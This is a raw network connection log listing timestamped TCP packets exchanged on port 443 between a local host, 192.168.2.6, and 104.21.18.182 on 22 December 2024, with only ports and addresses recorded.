Dec 22, 2024 13:42:20.231916904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.232003927 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.232017994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.232069969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.238095999 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.238111973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.238193989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.238205910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.238238096 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.238259077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.243915081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.243932009 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.244007111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.244029045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.244097948 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.248985052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.249001026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.249039888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.249063969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.249098063 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.249201059 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.402771950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.402791023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.402863979 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.402929068 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.402982950 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.407704115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.407721043 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.407788038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.407804012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.407845020 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.413757086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.413773060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.413837910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.413851976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.413897991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.419678926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.419693947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.419755936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.419770002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.419827938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.425194979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.425210953 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.425282955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.425297022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.425354004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.430457115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.430474043 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.430557966 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.430572987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.430632114 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.435493946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.435509920 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.435571909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.435585976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.435645103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.441919088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.441935062 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.441998005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.442012072 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.442070007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.594837904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.594865084 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.594923973 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.594944000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.594996929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.594996929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.600375891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.600392103 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.600457907 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.600472927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.600528955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.605905056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.605921030 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.605992079 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.606007099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.606070042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.611452103 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.611468077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.611531019 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.611545086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.611597061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.617254972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.617275000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.617332935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.617347956 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.617389917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.622725010 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.622740984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.622798920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.622813940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.622862101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.628086090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.628102064 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.628146887 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.628160954 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.628204107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.628221035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.633692980 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.633708954 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.633764982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.633779049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.633833885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.787034035 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.787053108 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.787122011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.787142038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.787195921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.787195921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.792828083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.792846918 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.792915106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.792922974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.792978048 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.798608065 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.798624992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.798686981 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.798695087 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.798736095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.803500891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.803518057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.803580046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.803587914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.803613901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.803642035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.809356928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.809372902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.809438944 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.809448004 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.809494972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.814723969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.814739943 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.814798117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.814806938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.814826012 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.814851999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.820533991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.820550919 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.820580006 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.820607901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.820620060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.820652008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.826343060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.826378107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.826410055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.826419115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.826458931 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.979052067 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.979073048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.979149103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.979162931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.979213953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.985014915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.985047102 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.985088110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.985096931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.985132933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.985157967 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.990607023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.990624905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.990674973 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.990683079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.990712881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.990734100 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.995712996 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.995728970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.995790005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:20.995798111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:20.995852947 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.001518965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.001534939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.001594067 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.001602888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.001642942 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.006962061 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.006979942 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.007044077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.007052898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.007127047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.012833118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.012850046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.012908936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.012923956 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.012988091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.018393040 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.018410921 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.018486977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.018496037 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.018539906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.171652079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.171672106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.171751976 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.171763897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.171803951 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.177563906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.177582979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.177633047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.177642107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.177694082 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.183202028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.183218956 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.183280945 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.183289051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.183324099 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.188657999 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.188676119 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.188752890 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.188760996 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.188802004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.194228888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.194247007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.194308043 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.194315910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.194356918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.199517965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.199541092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.199596882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.199606895 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.199645042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.205451965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.205467939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.205523968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.205530882 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.205573082 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.210438967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.210454941 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.210515022 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.210522890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.210562944 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.363676071 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.363698959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.363826036 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.363859892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.363908052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.369532108 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.369550943 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.369616985 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.369626045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.369667053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.375228882 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.375257969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.375299931 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.375319958 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.375354052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.375366926 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.381014109 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.381031036 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.381119967 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.381128073 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.381234884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.386585951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.386603117 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.386666059 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.386674881 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.386713982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.391545057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.391562939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.391632080 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.391639948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.391680002 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.397463083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.397480965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.397555113 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.397563934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.397605896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.403434038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.403451920 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.403513908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.403522015 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.403558016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.557890892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.557909012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.558013916 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.558022976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.558069944 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.563445091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.563462973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.563549042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.563556910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.563599110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.568578005 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.568598032 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.568645000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.568653107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.568695068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.568695068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.573179007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.573196888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.573276997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.573286057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.573328972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.578697920 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.578716040 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.578799963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.578816891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.578859091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.584168911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.584187984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.584270000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.584275961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.584316969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.589977026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.590006113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.590095043 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.590102911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.590140104 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.595653057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.595679998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.595741034 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.595748901 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.595776081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.595798969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.748843908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.748862028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.748965025 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.748972893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.749138117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.753956079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.753973007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.754038095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.754051924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.754087925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.754121065 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.759747028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.759763002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.759828091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.759843111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.759879112 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.765434980 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.765451908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.765494108 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.765501976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.765566111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.765566111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.770544052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.770561934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.770617008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.770626068 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:21.770659924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:21.771009922 CET	49720	443	192.168.2.6	104.21.18.182
